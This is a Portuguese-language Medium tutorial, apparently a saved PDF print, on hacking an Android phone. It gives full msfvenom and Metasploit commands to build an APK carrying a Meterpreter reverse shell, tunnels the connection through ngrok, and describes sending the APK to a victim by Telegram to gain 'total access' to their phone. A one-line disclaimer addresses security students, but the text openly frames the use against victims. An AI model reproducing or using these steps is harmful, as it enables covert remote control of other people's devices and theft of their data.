Invadindo celular Android usando Msfvenom e Ngrok

Prévia do material em texto

08/09/2021 09:20 Invadindo celular Android usando Msfvenom e Ngrok | by Murilo Henrique | devshift | Medium
https://medium.com/devshift/invadindo-celular-android-usando-msfvenom-e-ngrok-f646e1e03798 1/6
Invadindo celular Android usando Msfvenom e
Ngrok
Murilo Henrique Follow
Oct 19, 2019 · 3 min read
O conteúdo que se apresenta nesse artigo e destinado aos profissionais e estudantes
de Segurança da Informação. Não nos responsabilizamos pelo maus uso das técnicas
apresentadas.
Olá, neste artigo estarei abordando a criação Backdoor com o msfvenom de uma simples
shell reversa com Metasploit Framework e Meterpreter, onde iremos criar um .apk
infectado que quando executado na máquina da vítima, cria uma conexão reversa com
nossa máquina nos dando permissões de administrador ao seu celular
Irei utilizar o ngrok para fazer um túnel de conexão sem eu ter que abrir portas do
roteador para me conectar fora da rede externa.
Bora começar
Primeiramente iremos abrir o ngrok ( caso você não tenha, leia meu artigo anterior:
Usando Ngrok no kali linux que eu explico como realizar o download)
ngrok tcp 22
Iremos ter que Utilizar o nosso FORWARDING TCP como o LHOST e o 12643 como
LPORT
Lembrando que cada um tem o seu FORWARDING
https://medium.com/@murilothink?source=post_page-----f646e1e03798--------------------------------
https://medium.com/@murilothink?source=post_page-----f646e1e03798--------------------------------
https://medium.com/devshift/invadindo-celular-android-usando-msfvenom-e-ngrok-f646e1e03798?source=post_page-----f646e1e03798--------------------------------
https://medium.com/@murilothink/usando-ngrok-no-kali-linux-b7e2ce9e7062?source=---------3------------------
08/09/2021 09:20 Invadindo celular Android usando Msfvenom e Ngrok | by Murilo Henrique | devshift | Medium
https://medium.com/devshift/invadindo-celular-android-usando-msfvenom-e-ngrok-f646e1e03798 2/6
Vamos criar e encodar o payload com o msfvenom, Estaremos utilizando um payload de
reverse_TCP.
Onde:
p : Iremos definir o Payload a ser utilizado
LHOST e LPORT : Iremos definir respectivamente o TCP do Ngrok e Porta do ngrok
também que o alvo irá se conectar na nossa máquina após a infecção
R > : o caminho de onde queremos criar e o nome do APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io 
LPORT=12643 R > /root/Documentos/medium.apk
Se a gente entrar na pasta Documentos iremos encontrar ele lá
08/09/2021 09:20 Invadindo celular Android usando Msfvenom e Ngrok | by Murilo Henrique | devshift | Medium
https://medium.com/devshift/invadindo-celular-android-usando-msfvenom-e-ngrok-f646e1e03798 3/6
Iniciando o Metasploit e Manipulando as sessões
Agora iremos abrir o msfconsole siga os comando
#msfconsole 
 msf > use exploit/multi/handler 
 msf >set PAYLOAD android/meterpreter/reverse_tcp 
 msf >set LHOST 127.0.0.1 
 msf >set LPORT 22 
 msf > exploit
Agora é só testar se tudo esta funcionando. Nesse caso irei realizar um emulador pra
realizar a invasão, mas você pode realizar em um celular de uma vítima.
Utilizei meu Telegram para enviar o apk para o emulador Android, mas você pode
utilizar outro métodos para enviar o apk para alguém
Iniciando a sessão com a vítima
08/09/2021 09:20 Invadindo celular Android usando Msfvenom e Ngrok | by Murilo Henrique | devshift | Medium
https://medium.com/devshift/invadindo-celular-android-usando-msfvenom-e-ngrok-f646e1e03798 4/6
Agora é só clicar em abrir
Conseguimos, tudo deu certo! Agora temos acesso total do celular da vitima.
08/09/2021 09:20 Invadindo celular Android usando Msfvenom e Ngrok | by Murilo Henrique | devshift | Medium
https://medium.com/devshift/invadindo-celular-android-usando-msfvenom-e-ngrok-f646e1e03798 5/6
irei
Agora é só você utilizar os comandos para explorar as informações da vítima.
08/09/2021 09:20 Invadindo celular Android usando Msfvenom e Ngrok | by Murilo Henrique | devshift | Medium
https://medium.com/devshift/invadindo-celular-android-usando-msfvenom-e-ngrok-f646e1e03798 6/6
Valeu!!
Kali Linux Python Msfconsole Ngrok Linux
About Write Help Legal
Get the Medium app
https://medium.com/devshift/tagged/kali-linux
https://medium.com/devshift/tagged/python
https://medium.com/devshift/tagged/msfconsole
https://medium.com/devshift/tagged/ngrok
https://medium.com/devshift/tagged/linux
https://medium.com/?source=post_page-----f646e1e03798--------------------------------
https://medium.com/about?autoplay=1&source=post_page-----f646e1e03798--------------------------------
https://medium.com/new-story?source=post_page-----f646e1e03798--------------------------------
https://help.medium.com/hc/en-us?source=post_page-----f646e1e03798--------------------------------
https://policy.medium.com/medium-terms-of-service-9db0094a1e0f?source=post_page-----f646e1e03798--------------------------------
https://itunes.apple.com/app/medium-everyones-stories/id828256236?pt=698524&mt=8&ct=post_page&source=post_page-----f646e1e03798--------------------------------
https://play.google.com/store/apps/details?id=com.medium.reader&source=post_page-----f646e1e03798--------------------------------